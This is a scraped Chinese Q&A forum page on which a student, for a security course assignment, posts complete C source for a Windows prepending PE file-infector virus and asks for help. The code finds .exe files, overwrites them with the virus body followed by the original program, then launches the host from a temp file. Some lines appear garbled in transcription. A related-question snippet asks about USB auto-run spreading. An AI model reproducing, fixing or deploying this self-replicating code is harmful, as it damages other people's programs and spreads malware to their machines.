c语言-求C语言大牛帮我看看,网络信息安全作业,pe病毒

问题描述

求C语言大牛帮我看看,网络信息安全作业,pe病毒

#include "stdafx.h"
#include
#include
#include
#include
#include

/*条件模块:

功能:搜索病毒文件所在目录中,规定数目的exe文件

//打开符合条件的文件*/

HANDLE OpenHostFile(const WIN32_FIND_DATA *pHost,DWORD *nCount)//WIN32_FIND_DATA = 保存文件的全部属性信息的结构体,DWORD 双字即为4个字节
{
HANDLE hHost=CreateFile(pHost->cFileName,

GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
NULL,
NULL);
if(hHost!=INVALID_HANDLE_VALUE)
(*nCount)++;

return hHost;

}

//搜索函数
DWORD FindHostFile(HANDLE szHostFileHandle,DWORD dwFindNumber)
{
DWORD dwResult=0;

WIN32_FIND_DATA fd;
HANDLE hFirst=FindFirstFile(_T("
.exe"),&fd);
szHostFileHandle[0]=OpenHostFile(&fd,&dwResult);
while(dwResult<dwFindNumber)
{
DWORD dwTemp=dwResult;
if(FindNextFile(hFirst,&fd))
{
HANDLE hTemp=OpenHostFile(&fd,&dwResult);
if(hTemp != INVALID_HANDLE_VALUE)
szHostFileHandle[dwTemp]=hTemp;
else
break;
}

}
return dwResult;

}

/*感染模块:

功能:将病毒文件注入宿主文件,将原宿主文件向后移动*/

//定义病毒大小,使用全局变量是因为其它模块也要用到,53248是代码在VC2005 Debug模式下的生成文件大小,但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错。

DWORD dwVirusSize=40960;
//感染模块
void Infect(HANDLE hHostFile,HANDLE hLocalFile)
{

DWORD dwHostSize=GetFileSize(hHostFile,0);
DWORD dwReadSize=0;
DWORD dwWriteSize=0;

char *pLocalTempBuf=(char*)malloc(sizeof(char)*dwVirusSize);
char *pHostTempBuf=(char*)malloc(sizeof(char)*dwHostSize);
ReadFile(hLocalFile,pLocalTempBuf,dwVirusSize,&dwReadSize,NULL);
ReadFile(hHostFile,pHostTempBuf,dwHostSize,&dwReadSize,NULL);
SetFilePointer(hHostFile,0,0,FILE_BEGIN);
WriteFile(hHostFile,pLocalTempBuf,dwVirusSize,&dwWriteSize,NULL);
WriteFile(hHostFile,pHostTempBuf,dwHostSize,&dwWriteSize,NULL);

//清理工作
SetFilePointer(hLocalFile,0,0,FILE_BEGIN);
free(pLocalTempBuf);
free(pHostTempBuf);
}

/*破坏模块:

功能:仅仅打印提示。*/
void Destory()
{
MessageBox(NULL,_T("我保证什么都不做"),_T("Test"),MB_OK);
}

/*宿主程序引导模块

功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动*/

void JumpLocalHostFile(HANDLE hLocalFile)
{
DWORD nCount=0;
DWORD dwLocalFileSize=GetFileSize(hLocalFile,0);
if(dwLocalFileSize==dwVirusSize)
return ;
char pTemp=(char)malloc(sizeof(char)*(dwLocalFileSize-dwVirusSize));
ReadFile(hLocalFile,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);

TCHAR szLocalPath[MAX_PATH];
TCHAR szTempPath[MAX_PATH];
TCHAR szTempName[50];
GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
GetTempPath(MAX_PATH,szTempPath);
GetFileTitle(szLocalPath,szTempName,50);
wcscat(szTempPath,szTempName);
HANDLE hJumpHost=CreateFile(szTempPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_NEW,NULL,NULL);
if(hJumpHost==INVALID_HANDLE_VALUE)
    return ;
WriteFile(hJumpHost,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);
free(pTemp);
CloseHandle(hJumpHost);

PROCESS_INFORMATION information;
STARTUPINFO si = {sizeof(si)};

if(CreateProcess(szTempPath,NULL,
    NULL,NULL,
    FALSE,NORMAL_PRIORITY_CLASS,
    NULL,NULL,
    &si,&information))
{
    WaitForSingleObject(information.hProcess,INFINITE);
    DeleteFile(szTempPath);
}

}

/*5.程序入口*/

int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szLocalPath[MAX_PATH];
GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
HANDLE hLocalFileHandle=CreateFile(szLocalPath,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
NULL,
NULL);
HANDLE szHostHandle[3];
DWORD dwFoundFileNumber=FindHostFile(szHostHandle,3);
Destory();

for(DWORD i=0;i<dwFoundFileNumber;i++)
{
    Infect(szHostHandle[i],hLocalFileHandle);
    CloseHandle(szHostHandle[i]);
}

JumpLocalHostFile(hLocalFileHandle);
CloseHandle(hLocalFileHandle);
return 0;

}

解决方案

问题太高档了,你应该自己翻资料去了。

时间: 2024-09-17 11:41:48

c语言-求C语言大牛帮我看看,网络信息安全作业,pe病毒的相关文章

c语言-求C语言文本整理程序谢了!!!

问题描述 求C语言文本整理程序谢了!!! ?求大神用c语言编写一个文本文档整理程序用vc++6.0 英语文档书写规范: 1. 逗号','和分号':'.冒号':'与后一个单词之间空一格: 2. 句号'.'叹号'!'和问号'?'与后一个单词之间空一格,下一个单词首字母要大写: 3. 换行符分两种情况:若出现在一句话结束之后,则认为是该段结束,新的段落将开始,故保留换行符,之后再空两格并且下个单词首字母大写.若是在句子中间出现,则认为是错误输入,忽略换行符. 4. 双引号:由于在英语中,双引号里的内容

u盘-求c语言大牛指导下,怎么实现在U盘一插入USB时会运行U盘里面的应用程序

问题描述 求c语言大牛指导下,怎么实现在U盘一插入USB时会运行U盘里面的应用程序 万分感谢,求大牛指导下.我的网络信息安全作业需要.以前Autorun.info能实现U盘病毒的传染性,现在不知道怎么实现 解决方案 使用U盘自动运行大师 XP v5.0 解决方案二: 我需要的是代码怎么去实现这个功能 解决方案三: 我的思路是:用on_device_change监听USB插入事件,在事件处理程序中枚举磁盘,如果有新增的磁盘,则查找该磁盘下的exe文件,创建进程执行.

printf-c语言求最小公倍数 求大神帮我理解下这个代码

问题描述 c语言求最小公倍数 求大神帮我理解下这个代码 #includeint main(){? ?int mnik=1;? ?scanf(""%d %d""&m&n);? ?for(i=1;i<=m;i++)? ?{? ? ? ?if(m%i==0 && n%i==0)? ? ? ?{? ? ? ? ? ?k*=i;? ? ? ? ? ?m/=i;? ? ? ? ? ?n/=i;? ? ? ?}? ? ? ?if(m==1 |

c语言求最小公倍数 求大神帮我看看代码哪里有问题

问题描述 c语言求最小公倍数 求大神帮我看看代码哪里有问题 描述 输入两个正整数m和n,计算其最小公倍数. #include int main() { int m,n,i,l=1,j,k; scanf("%d%d",&m,&n); j=m; k=n; for(i=1;i<=m&&i<=n;i++) { while(m%i==0 && n%i==0) { j/=i; k/=i; l*=i; } } l=l*j*k; printf

c语言-C语言学籍管理系统,我想添加专业和家庭地址的代码,求各位大神帮帮忙!小菜鸟我感激不尽啊啊啊啊

问题描述 C语言学籍管理系统,我想添加专业和家庭地址的代码,求各位大神帮帮忙!小菜鸟我感激不尽啊啊啊啊 #include #include #include #define M 2 void maininterface(); void findinterface(); void choice(long sno[], char sname[][20], int sage[], float cs[], int N); void findchoice(long sno[], char sname[][

求C语言大牛帮忙解答,输完password之后就异常终止了

问题描述 求C语言大牛帮忙解答,输完password之后就异常终止了 /*用户注册文件*/ #include #include #define N 1 struct User { char num[20]; char name[10]; char password[7]; float balance; }user[N]; int main() { int i; FILE *fp; //输入注册信息 for(i = 0;i < N; i++) { printf("input num &

c语言几何-如何让用c语言求两个曲面的交线,木有思路

问题描述 如何让用c语言求两个曲面的交线,木有思路 就例如两个圆柱相惯但是角度不同,求交线,相惯面的面积,本人不知道如何下手,希望有大神可以指点迷津,给个思路, 解决方案 你要自己研究算法,然后用C语言.或者其他语言来实现,语言只是工具,但是他没有办法帮你来研究算法. 解决方案二: 这个问题.和C语言没有半毛钱关系 解决方案三: 看不懂啊,学过c语言,但都是十几年前的事了.就是来混点C币,下东西. 解决方案四: 你这个是有gui的东西没有,没有的话,肯定是要先研究清楚,几何上是怎么画的啊

c++-觉得你c语言或者数学厉害的 帮个忙

问题描述 觉得你c语言或者数学厉害的 帮个忙 图片中最后两个 求方差和高于平均的人数,不保存原始数据 要怎么做... 解决方案 仔细看题目.最后两个就属于"必须借助数组"的情况啊. 解决方案二: 方差跟平均数应该一定要吧,总不会一个个加吧 解决方案三: 这个思考题就是这样的:有些不需要借助数组存储,有些是需要的呀. 解决方案四: "哪两个数最接近""统计不超过平均数的个数""求方差" 需要用到数组,其他不需要用到数组就可以 统

数字-关于C语言求平均数的程序

问题描述 关于C语言求平均数的程序 大家帮我看看,为什么我在输入4个2之后,结果平均数是1呢? # include<stdio.h> main(){ printf("*************************n"); printf("这个程序是求平均数的程序n"); printf("*************************n"); int i = 0 ; int n = 0 ; int p ; double aver